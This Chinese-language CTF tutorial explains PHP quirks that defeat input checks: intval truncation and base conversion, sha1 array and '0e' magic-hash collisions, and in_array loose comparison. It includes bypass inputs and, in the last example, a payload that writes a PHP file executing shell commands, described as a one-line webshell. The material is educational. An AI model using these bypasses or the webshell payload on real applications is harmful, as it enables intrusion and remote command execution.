您好,登錄后才能下訂單哦!
本篇內容主要講解“CTF中的PHP特性函數有哪些”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“CTF中的PHP特性函數有哪些”吧!
官方是怎樣定義的:
簡單來說就是讓輸入的數字變成整數,下面我們舉個例子:
echo intval(1145.14); // 1145 echo intval('114514'); // 114514
可以發現只對有小數點的數字起作用,正常的整數還是照常輸出,那么它在CTF中是如何考察的呢,查看下面代碼:
if($num==="1145"){ die("no no no!"); } if(intval($num,0)===1145){ echo $flag; }
要我們強類型傳入的不能等于1145,但后面經過intval函數又要等于1145,這不和前面的矛盾了,我們要怎樣做呢?
這里介紹一下intval的特性,如果我們在函數里傳入字符串,那么該函數就會返回不是數字的字符之前的數字,也就是說我們傳入:
sum=1145a
intval就會判斷我們傳入的是1145,從而實現了繞過,還有另一種繞過方法:
當base為0時,intval會自動進行進制轉換,我們可以傳入1145的十六進制形式來繞過。
根據手冊可以看到,該函數以及與其類似的函數,作用都是匹配第一個或者最后一個字符,根據該函數特性,題目會經常圍繞它作為一個限制頭部的點,比如上面那題可能會增加限制:
if(!strpos($num, "0")){ die("no no no!");
因為八進制開頭通常為0,檢測到的話就不能通過進制轉換來繞過了。
p>該函數的利用以及繞過方法類似于MD5函數,都是運用了PHP特性來做,這里簡單看一下:
類似于MD5,在SHA1里我們也可以使用數組繞過,具體可以看下面例子:
if(sha1($a)==sha1($b) && $a!=$b){ echo $flag; }
可以看到,也是一個弱比較,根據PHP特性sha1函數無法對數組進行處理,,于是我們傳入數組來使結果為NULL:
a[]=1 b[]=2
與MD5相同,當然也存在強類型比較,我們不能用數組來進行繞過了:
if(sha1($a)===sha1($b) && $a!=$b){ echo $flag; }
這里同樣有類似于MD5函數的解決方法:
a=aaK1STf //0e7665852665575620768827115962402601 b=aaO8zKZF //0e89257456677279068558073954252716165
可以理解為向數組尾部插入參數,我們看看是如何考察的:
<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
可以看到題目先向數組里插入隨機數,in_array()是搜索數組中是否存在指定的值,根據它的語法:
type會判斷類型是否匹配,這就是我們利用的點,因為數組里數據為int型,根據PHP特性比較后字符串會轉成int型,也就是說我們傳入1.php也是沒有問題的,后面有個寫入文件操作,正好可以設置一句話木馬連接后門,或者進行命令執行:
get: n=1.php post: content=<?=`tac f*`;
到此,相信大家對“CTF中的PHP特性函數有哪些”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。